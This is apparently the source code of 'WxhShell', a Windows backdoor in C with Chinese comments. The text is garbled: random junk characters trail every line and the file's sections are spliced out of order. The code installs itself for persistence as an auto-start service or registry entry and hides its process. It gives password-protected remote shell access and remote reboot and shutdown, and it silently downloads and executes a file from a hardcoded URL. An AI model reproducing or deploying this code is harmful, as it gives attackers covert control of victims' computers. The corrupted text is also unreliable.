ULONG InheritedFromUniqueProcessId; xwzT#DXGJ
} PROCESS_BASIC_INFORMATION; _#qe#
I(n* _bFq
PROCNTQSIP NtQueryInformationProcess; SLk2X;c]o
)3z]f2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dyFKxn`,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _b4fS'[
;
a/cty0Ch
HANDLE hProcess; <-jGqUN_I
PROCESS_BASIC_INFORMATION pbi; fjDpwb:x)
oBlzHBn>0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8!h'j
if(NULL == hInst ) return 0; 26:evid
5>ST"l_ca
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ew^ @Aq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dNVv4{S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s"0b%0?A
o;-<|W>
if (!NtQueryInformationProcess) return 0; }Pg'
vJW
]?9[l76O7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %XXkVK`
if(!hProcess) return 0; O
rk
.Tm- g#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [7"}=9
{.#zHL
;
CloseHandle(hProcess); IB7tAG8
T }uE0Z,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <e6=% 9
if(hProcess==NULL) return 0; {=At#*=A
G79C {|c\
HMODULE hMod; liNON
char procName[255]; Q.(51]'
unsigned long cbNeeded; 1BD6l2y
+
>sci
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t,vTAq.))
$M]%vG
CloseHandle(hProcess); zw:/!MS
\kwe51MQ
if(strstr(procName,"services")) return 1; // 以服务启动 +|nsu4t,<
gB CC
return 0; // 注册表启动 {>.>7{7
} T~Y g5J
W<gD6+=8
// 主模块 TJ2/?p\x
int StartWxhshell(LPSTR lpCmdLine) Tj,Nmb>Q7'
{ g+Ph6W
SOCKET wsl; h1%y:[_
BOOL val=TRUE; ?\yB)Nd y
int port=0; \!X?zR_
struct sockaddr_in door; j3P RAe
Rx.
rj~
if(wscfg.ws_autoins) Install(); wd`R4CKhP]
%^^h) Wy}
port=atoi(lpCmdLine); rr>~WjZ3
S.fXHtSx
if(port<=0) port=wscfg.ws_port; ti;%BS
iE{Oit^aG
WSADATA data; $o+&Y5:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `p"U
CSL4P)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x9*ys;~w
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
g@(30{
door.sin_family = AF_INET; CB@B.)E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |,fh)vO
door.sin_port = htons(port); By/bVZks
Pt3[|4L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Wwh`]#"~d
closesocket(wsl); 3GWrn,f
return 1; u@"o[e':
} ty;o&w$
aT/KT,!
if(listen(wsl,2) == INVALID_SOCKET) { 2?*1~ 5~I
closesocket(wsl); `t\z
return 1; uf0^E3H
} =w ,(M
Wxhshell(wsl); (j`l5r#X#/
WSACleanup(); ArdJ."
?xHtn2(q
return 0; wR1K8b".DC
wG6FS
} "w1(g=n
XkoW L
// 以NT服务方式启动 ,yi2O]5e>!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <d<RK@2-
{ InX{V|CW?
DWORD status = 0; o;'4c
DWORD specificError = 0xfffffff; fsb=8>}63}
+wjlAqMQ
serviceStatus.dwServiceType = SERVICE_WIN32; ]J~g'">
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0eaUorm)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^AH-+#5
serviceStatus.dwWin32ExitCode = 0; wO\!xW:
serviceStatus.dwServiceSpecificExitCode = 0; W)
serviceStatus.dwCheckPoint = 0; *%f3rvt7@)
serviceStatus.dwWaitHint = 0; 'v`~(9'Rcj
G32_FQ$b
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n=SzF(S[M
if (hServiceStatusHandle==0) return; :6sGX p
'XME?H:q a
status = GetLastError(); _PdAN= C3
if (status!=NO_ERROR) 1uj05aZh}
{ c; d"XiA
serviceStatus.dwCurrentState = SERVICE_STOPPED; $u-lo|
serviceStatus.dwCheckPoint = 0; 1o)=GV1
serviceStatus.dwWaitHint = 0; )muv;Rf`e5
serviceStatus.dwWin32ExitCode = status; ees^O{ 8
serviceStatus.dwServiceSpecificExitCode = specificError; ?-M)54b\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cg?I'1]o6
return; K;kLQ2)
} {)jk_&c7
\6jF{
serviceStatus.dwCurrentState = SERVICE_RUNNING; t-a`.y
serviceStatus.dwCheckPoint = 0; Dl@{}9
serviceStatus.dwWaitHint = 0; y#GCtkhi
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )[RpZpd`*
} D)RdOldr
>R) F}
// 处理NT服务事件,比如:启动、停止 f@#w{W,3
VOID WINAPI NTServiceHandler(DWORD fdwControl) l+'`BBh*]
{ AzW%+ LUD
switch(fdwControl) dnLo(<{<U
{ N+[}Gb"8q
case SERVICE_CONTROL_STOP: jFS'I*1+
serviceStatus.dwWin32ExitCode = 0; se"um5N-
serviceStatus.dwCurrentState = SERVICE_STOPPED; jBGG2[hV
serviceStatus.dwCheckPoint = 0; nEuct4BcL}
serviceStatus.dwWaitHint = 0; MgSp.<!
{ xQ_:]\EZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@;&U1@h
} GZ}*r{
return; vJzx Py|
case SERVICE_CONTROL_PAUSE: G-Zr M
serviceStatus.dwCurrentState = SERVICE_PAUSED; V=Ww>
break; +,:nm_kQU
case SERVICE_CONTROL_CONTINUE: W=!F8g|Qz
serviceStatus.dwCurrentState = SERVICE_RUNNING; W=(MsuirO
break; +KYxw^k}"7
case SERVICE_CONTROL_INTERROGATE: Udg&
eEF
break; /6 A:J]Q_
}; 2M5*bNU_:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ArLz;#AOn
} yg.\^C
K7y!s :rg!
// 标准应用程序主函数 qb
46EZu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .) ?2)Fl
{ =ulr_i%Xs
T;xHIg4
// 获取操作系统版本 f45;fT>
OsIsNt=GetOsVer(); &8o :
GetModuleFileName(NULL,ExeFile,MAX_PATH); |q9,,i}!
b"*mi
// 从命令行安装 I>(;bNgNE
if(strpbrk(lpCmdLine,"iI")) Install(); P<TpG0~(
Qj{$dqmDN
// 下载执行文件 `mh-pBVD1
if(wscfg.ws_downexe) { Q;d+]xj
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H,01o5J
WinExec(wscfg.ws_filenam,SW_HIDE); j
P{:A9T\
} ]wJ}-#Kx
xop-f#U*
if(!OsIsNt) { e@6RC bj
// 如果时win9x,隐藏进程并且设置为注册表启动 jcT{ugpq
HideProc(); {yul.m
StartWxhshell(lpCmdLine); iDyMWlV
} yd{Y}.
else K*J4&5?/
if(StartFromService()) dVjcK/T<
// 以服务方式启动 8N</Yi|n
StartServiceCtrlDispatcher(DispatchTable); a)YJ4\Qg[
else !4DGP28
// 普通方式启动 nEeQL~:
StartWxhshell(lpCmdLine); p=#'B*'w
j=!(F`/
return 0; Po2_ 0uX
} v3=&{}+j.
^\Ue7,H-
;H D 4~3
oP 6.t-<dU
=========================================== {PP ^Rb)
FkB6*dm-
G
"c&C
)Gu0i7iN
F}VS)
dM>j<JC=
" d&$.jk8 2
Q6e'0EIKC
#include <stdio.h> (25^r
#include <string.h> -&f]Xu
#include <windows.h> 6&/ Ew4 e
#include <winsock2.h> P@o,4\;K
#include <winsvc.h> y^0HCp{
#include <urlmon.h> {+9^PC_hm;
cQUH %7m
#pragma comment (lib, "Ws2_32.lib") QiQ2XW\E
#pragma comment (lib, "urlmon.lib") C.Wms}XA
i`ZHjW~`
#define MAX_USER 100 // 最大客户端连接数 ?[NTw./'7A
#define BUF_SOCK 200 // sock buffer QI
:/,w
#define KEY_BUFF 255 // 输入 buffer mfp`Iy"}+
~{3o(gzl
#define REBOOT 0 // 重启 Wfi:wCqZG
#define SHUTDOWN 1 // 关机 8k*
hSLwiX~
#define DEF_PORT 5000 // 监听端口 9~Y)wz
'>S8t/
#define REG_LEN 16 // 注册表键长度 ` maN5)
#define SVC_LEN 80 // NT服务名长度 CBz(hCaI
f6dE\
// 从dll定义API cN[q)ts
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CguU+8]
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zO7lsx2=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OoU '86)
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OLd$oxKR
3=G5(0
// wxhshell配置信息 y~#R:&d"
struct WSCFG { 7#~m:K@
int ws_port; // 监听端口 (<g;-pZH%
char ws_passstr[REG_LEN]; // 口令 Np5/lPb1
int ws_autoins; // 安装标记, 1=yes 0=no =%#$HQ=
char ws_regname[REG_LEN]; // 注册表键名 b>>=d)R
char ws_svcname[REG_LEN]; // 服务名 A{u\8-u
char ws_svcdisp[SVC_LEN]; // 服务显示名 ?*MV
^IY
char ws_svcdesc[SVC_LEN]; // 服务描述信息 C4X{Ps\
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }.Na{]<gh
int ws_downexe; // 下载执行标记, 1=yes 0=no C7c|\ T
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oto
wvm
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zwniS6R1
Jte:l:yjtA
}; jmZ|b6
`*2*xDuP
// default Wxhshell configuration sWpRX2{5,
struct WSCFG wscfg={DEF_PORT, nw]e_sm
"xuhuanlingzhe", \CEnOq
1, 6LF^[b/u
"Wxhshell", `hQ!*f6
"Wxhshell", }GU6Q|s[u[
"WxhShell Service", sQ3ayB`
"Wrsky Windows CmdShell Service", S:B-nI
"Please Input Your Password: ", ngH~4HyT
1, >R'VY "\
"http://www.wrsky.com/wxhshell.exe", 19YJ`(L`x
"Wxhshell.exe" VgC9'"|
}; ;29X vhS8
D+vl%(g
// 消息定义模块 51FK~5
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -+S~1`0
char *msg_ws_prompt="\n\r? for help\n\r#>"; j8ohzX[Y
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ws}kb@5
char *msg_ws_ext="\n\rExit."; "< hx
char *msg_ws_end="\n\rQuit."; f>, Qhl
char *msg_ws_boot="\n\rReboot..."; #uR q] 'P
char *msg_ws_poff="\n\rShutdown..."; l7r N
char *msg_ws_down="\n\rSave to "; /w0v5X7
xZ{|D
char *msg_ws_err="\n\rErr!"; :R _#'i
char *msg_ws_ok="\n\rOK!"; +ouy]b0`t
~"4 vd 3
char ExeFile[MAX_PATH]; z6>ZV6(d2^
int nUser = 0; #t9=qR~"
HANDLE handles[MAX_USER]; rc{[\1 -N
int OsIsNt; l4B O@
%imBGh
SERVICE_STATUS serviceStatus; S|5lx7
SERVICE_STATUS_HANDLE hServiceStatusHandle; HDae_.
.WPR}v,.Z
// 函数声明 ]&tr\-3
int Install(void); xYkgNXGs5
int Uninstall(void); vS,G<V3B
int DownloadFile(char *sURL, SOCKET wsh); v%PWr5]
int Boot(int flag); ^zluO
void HideProc(void); N=?kEX
O
int GetOsVer(void); i!+3uHWu`)
int Wxhshell(SOCKET wsl); "ih>T^|
void TalkWithClient(void *cs); 5Z>pa`_$2
int CmdShell(SOCKET sock); =D"63fP1
int StartFromService(void); )V =K#MCK
int StartWxhshell(LPSTR lpCmdLine); m^u&g&^
"GC]E8&>H
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PAWr1]DI
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) GT?Wd
*t-A6)2
// 数据结构和表定义 +>9^])K|
SERVICE_TABLE_ENTRY DispatchTable[] = -~GJ; Uw
{ %K f. F
{wscfg.ws_svcname, NTServiceMain}, Hn'2'Vu
{NULL, NULL} t-gNG!B
}; hq[gj?P
v>cE59('0
// 自我安装 k2,oyUT=S
int Install(void) 1NHoIX
{ :8!3*C-=
char svExeFile[MAX_PATH]; E1 gTrMo
HKEY key; {3p7`h~
strcpy(svExeFile,ExeFile); aKFA&Xnsl
PC(iqL8r
// 如果是win9x系统,修改注册表设为自启动 7(+ZfY~w"
if(!OsIsNt) { t=\[J+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b)`#^uxxJ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8&[<pbN)
RegCloseKey(key); R{y{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IqJ=\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $iz pH
RegCloseKey(key); H?bsK~
return 0; e8uIh[+ 0
} 'pls]I]
} Y\9*e5?`I3
} U:p"IY#%
else { $=QO_t)?
%oKc?'L0
// 如果是NT以上系统,安装为系统服务 lNeF>zz
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >nW}zkfn
if (schSCManager!=0) 7a_n\]t465
{ d"`>&8*
SC_HANDLE schService = CreateService +6Fdi*:
( &)}:Y!qiu
schSCManager, >xMhA`l
wscfg.ws_svcname, eeTaF!W
wscfg.ws_svcdisp, ~I^[rP~
SERVICE_ALL_ACCESS, (GOrfr
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "?(Fb_}i
SERVICE_AUTO_START, \kGtYkctZ
SERVICE_ERROR_NORMAL, W>s9Mp
svExeFile, U;dt-3?=.h
NULL, 2o}G<7r
NULL, Nc Mq>n
NULL, ,
p=8tf#
NULL, ;Sl0kSu
NULL Gqb-3ngH
); q@Yt`$VTN
if (schService!=0) tZ24}~da
{ GoA>sK
CloseServiceHandle(schService); T@.m^|~
CloseServiceHandle(schSCManager); t>u9NZt G
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~vZzKRVS
strcat(svExeFile,wscfg.ws_svcname); u,9U0ua@;
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &fhurzzAm
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hg/&[/eodm
RegCloseKey(key); e>9{36~jh
return 0; !td.ks0
} _llaH
} l'8TA~
CloseServiceHandle(schSCManager); =QO[zke:
} Ywq+l]5/p
} TUYl><F5v=
Jl9TMu!1]
return 1; _rh.z_a7w
} aT1W]i
BFu9KS+@)
// 自我卸载 a8P6-)W
int Uninstall(void) RWcQT`
{ g' U^fN
HKEY key; T>o# *{qn
W/X;|m`
if(!OsIsNt) { U>jk`?zW
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3;gtuqwD$
RegDeleteValue(key,wscfg.ws_regname); ~}ZX^l&k{P
RegCloseKey(key); /s_$CSiB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ybg`Z
RegDeleteValue(key,wscfg.ws_regname); =+\oL!^
RegCloseKey(key); KTJ$#1q
return 0; Q*{
2
} ,IB)Kk2
} 1OeDWEcB
} )O(Gw-jWE
else { 3<E$m*
v@SrEmg
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [cs8/Q8+
if (schSCManager!=0) @(?d0xCg
{ -^"?a]B
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?q&mI* j!
if (schService!=0) ~H~4 fp b
{ }=4".V`-o
if(DeleteService(schService)!=0) { X*):N]
CloseServiceHandle(schService); }#^F'%zf
CloseServiceHandle(schSCManager); a-5$GvG
return 0; Db:WAjU
} haK5Oe/cE
CloseServiceHandle(schService); IsL/p3|
} 9xp
;$14
CloseServiceHandle(schSCManager); |?W
} O:R{4Q*5
} $QnfpM%+=
^:j:;\;
return 1; <p
.[E]a2_
} &NnMz9
hY9u#3
// 从指定url下载文件 EZW?(%b>H
int DownloadFile(char *sURL, SOCKET wsh) h2<$L
{ }'-
)
HRESULT hr; -*r';Mz;
char seps[]= "/"; KrzM]x
char *token; ( mMz]b5
char *file; :UciFIa
char myURL[MAX_PATH]; ["/x~\c'N
char myFILE[MAX_PATH]; ,FO|'l
"G(/MT^C
strcpy(myURL,sURL); =?aB@&
token=strtok(myURL,seps); __npX_4%S
while(token!=NULL) gC 4#!P
{ (k45k/PAP
file=token; =,]M$M
token=strtok(NULL,seps); 2F{IDcJI\
} wUndNE
SQx):L)P6
GetCurrentDirectory(MAX_PATH,myFILE); 8A_(]Q
strcat(myFILE, "\\"); n\Nl2u& m
strcat(myFILE, file); (7
iMIY
send(wsh,myFILE,strlen(myFILE),0); s:H1v&t,<
send(wsh,"...",3,0); &[pwLYf7
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \)WjkhG<w#
if(hr==S_OK) 0<k!F3=
return 0; ocUu
else w:v:znQrW
return 1; .ji%%f
j=4>In?x
} (1vS)v
$L
+(0eOO'\M
// 系统电源模块 &rKhB-18)
int Boot(int flag) @su,w,xLS
{ nX'.'3
HANDLE hToken; /+YWp>6LU
TOKEN_PRIVILEGES tkp; PN=yf@<V3F
:f:C*mYvu
if(OsIsNt) { HS9U.G>
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9m4|1)
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #u^d3
$Nj
tkp.PrivilegeCount = 1; 39#>C~BOl
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _L>n!"E/
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X.qKG0i
if(flag==REBOOT) { (ShJ!
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4LLCb7/5lP
return 0; O*7
pg
} )-gyDA
else { V-0Y~T
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g=8e.Y*Fr
return 0; ?Fu.,srt
} 5N0H^
} g>f394j
else { $-73}[UA 4
if(flag==REBOOT) { `PfC:L
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]vMft?
return 0; S0cO00_ob
} }$jIvb,3?
else { `^ok5w"oi
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aL}_j#m{
return 0; t[Q\T0E
} AsOI`@FV
} ~7g6o^A>
SrIynO
return 1; SbY i|V,H
} ;7}*Xr|
Q>$v~v?9
// win9x进程隐藏模块 b._pG(o1
void HideProc(void) e6Y0G,K
{ ]h6<o*
tEl_A"^e
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c9V'Z d#
if ( hKernel != NULL ) {1[8,Ho
{ %Ok.XBS)
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vHmn)d1pl
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b.(^CYYQ
FreeLibrary(hKernel); 7JbrIdDl|
} #%~wuCn<K
u}$3.]-.?T
return; kmwFw>#
} ~Q5HM
Wp $\>
// 获取操作系统版本 *&s_u)b
int GetOsVer(void) V!p;ME
{ R4?/7
OSVERSIONINFO winfo; ja2LXM
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .vg;K@{
GetVersionEx(&winfo); oVdmgmT.Y
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) udMq>s;
return 1; ~p&sd)
else uP.3(n[&
return 0; e8Jd*AKjb
} %y'#@%kO:S
WD<M
U ]
// 客户端句柄模块 ET4YoH>
int Wxhshell(SOCKET wsl) 3~ylBJJ
{ occ}|u
SOCKET wsh; 6Y=)12T
struct sockaddr_in client; i{.!1i:
DWORD myID; [||$1u\%
raCxHY
while(nUser<MAX_USER) 6;Bqu5_Cj
{ %5b2vrg~*
int nSize=sizeof(client); 5K0Isuu>>
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 74_ji!
if(wsh==INVALID_SOCKET) return 1; e([}dz
Ad[-YT
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6v-h!1p{u
if(handles[nUser]==0) YvonZ
closesocket(wsh); p4=^
UP
else z@ 2NAC
nUser++; nL9m{$Zv
} o}BaZ|iZ2
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OvkY zI`
yfj<P/aA+
return 0; u7K0m!
jW
} 1:?WvDN=
\7RP6o
// 关闭 socket qbjRw!2?w
void CloseIt(SOCKET wsh) o4xZaF4+
{ ral0@\T
closesocket(wsh); >Gkkr{s9
nUser--; =Z 2sQQVS
ExitThread(0); tq{
aa
} w;XX jT
ffd yDUzQ
// 客户端请求句柄 z'
@F@k6
void TalkWithClient(void *cs) ~e|~c<!z8@
{ |#k1a:
Hly$ Wm
SOCKET wsh=(SOCKET)cs; Tw$la kw
char pwd[SVC_LEN]; 4q2aVm
char cmd[KEY_BUFF]; V}&
char chr[1]; (fC [Y
int i,j; Q!c*2hI
h-V5&em"_
while (nUser < MAX_USER) { I<DS07K
ws@;2?%A
if(wscfg.ws_passstr) { nCt:n}+C7
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xr-eDUEi
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *+5AN306
//ZeroMemory(pwd,KEY_BUFF); CQS34&G$a
i=0; mD tD7FzJ
while(i<SVC_LEN) { t<rhrW75P
vO 3fAB
// 设置超时 2|+**BxHD
fd_set FdRead; )
b?HK SqI
struct timeval TimeOut; (V*ggii@
FD_ZERO(&FdRead); M^a QH/=:"
FD_SET(wsh,&FdRead); Gt' %:9r
TimeOut.tv_sec=8; I_4'9
TimeOut.tv_usec=0; P'[w9'B
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u>}k+8~
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eg>MG87
_jp8;M~Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F9N)UW:w
pwd=chr[0]; M%Ov6u<I8
if(chr[0]==0xd || chr[0]==0xa) { tT'+3
pwd=0; aB.`'d)V
break; $w{#o E
} fDf:Jec`[
i++; ~u3E+w
} Ao2t=vg
$5l 8V
// 如果是非法用户,关闭 socket VUk2pEGO.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 88G Q F
} al1Uf]xh
5F$W^N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); smJ%^'x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `8EHhN;
7i`8 c =.
while(1) { :`25@<*u
-W2 !_
ZeroMemory(cmd,KEY_BUFF); L]cZPfI6
a8''t_Dp
// 自动支持客户端 telnet标准 vk&C'&uV9@
j=0; pno]Bld'z
while(j<KEY_BUFF) { jU/0a=h9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p \1-.
cmd[j]=chr[0]; <rNCb;
if(chr[0]==0xa || chr[0]==0xd) { 4 QD.'+L
cmd[j]=0; y]yp8Bs+
break; x pT85D
} #)z_TM07P
j++; pPUKx=d
} 'Tj9btM*cL
d?S7E
q9`
// 下载文件 SnRk` 5t
if(strstr(cmd,"http://")) { %[b~4,c1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); crG+BFi
if(DownloadFile(cmd,wsh)) Vv#|%^0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UoCFj2?C
else '7 SFa]tH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a~jM^b;VN
} =y.? =`"
else { C;QIp6"1
0x*L"HD
switch(cmd[0]) { r&U